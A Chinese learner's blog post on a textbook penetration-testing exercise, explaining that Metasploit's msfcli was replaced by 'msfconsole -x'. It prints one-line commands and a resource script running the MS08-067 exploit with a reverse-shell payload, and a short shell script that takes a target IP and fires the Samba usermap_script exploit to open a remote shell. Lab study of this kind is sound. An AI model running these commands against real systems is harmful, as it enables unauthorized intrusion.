Day4:shell脚本的尝试
当我看到书上的魔鬼训练营实践作业时,我把关注点放在了第四个上面,然后就兴致勃勃的去运行msfcli
但是竟然没有这个软件?
什么鬼?没有更新?突然想到:会不会是功能升级了 变成了其他的!于是我就上网查了查,果然…Festinatione facit vastum
msfcli?不存在的!
书上的原题是这样的:
使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需输入目标Linux靶机的IP地址作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。
可是没有了msfcli我应该怎么办(`゚Д゚´)ゞ ,我总不能自己编写一个吧。不然,多动(bai)脑(du)。
然后我发现,早在2015年7月10日,官方就取消了msfcli,而采用其他方法代替:
官方声明: Msfcli is no longer available in Metasploit
具体如下:
Hi everyone,
This January, we made an announcement about the deprecation of Msfcli, the command line interface version for Metasploit. Today we are ready to say good-bye to it. Instead of Msfcli, we recommend using the -x option in Msfconsole. For example, here’s how you can run MS08-067 in one line:
Hi, 大家好,
这个一月份,我们做了一份关于 Metasploit 的命令行版本接口版本 Msfcli 的声明,今天我们要对它说再见了。
取代 Msfcli,我们推荐你在 Msfconsole 使用 -x 选项。
举个例子,我们如何在一条命令中使用 MS08_067 模块。
./msfconsole -x “use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run”
You can also leverage things like resource scripts or even command alias to do less typing. Here’s an example of how you would write a resource script to automate running MS08_067:
你也可以把它在msfconsole中分步写或者做成脚本形式 (resource scripts) 或者设置别名来简化输入。下面举个例子如何在msfconsole中分步使用 MS08_067 模块。
use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run
And then run it:
然后运行:
./msfconsole -r name_of_resource_script.rc
Another way to run a resource script if you’re in msfconsole already:
上面的命令也可以做成源脚本,然后输入以下命令使用
msf > resource name_of_resource_script.rc
第一个shell脚本
解决方法已经有了,那我们就动手开始吧:
我一开始是这么写的,不存在shell的写法很迷:
use multi/samba/usermap_script
set payload cmd/unix/bind_netcat
set RHOST xxx.xxx.xxx.xxx
exploit
这是什么,我自己绝望了。
突然想到,这是shell脚本啊:
于是有了exploit.shell
:
root@kali:~# vi exploit.shell
echo “请输入目标IP:”
read ip
msfconsole -x “use exploit/multi/samba/usermap_script;set payload cmd/unix/bind_netcat;set RHOST $ip;exploit”
root@kali:~# chmod +x exploit.shell
root@kali:~# ./exploit.shell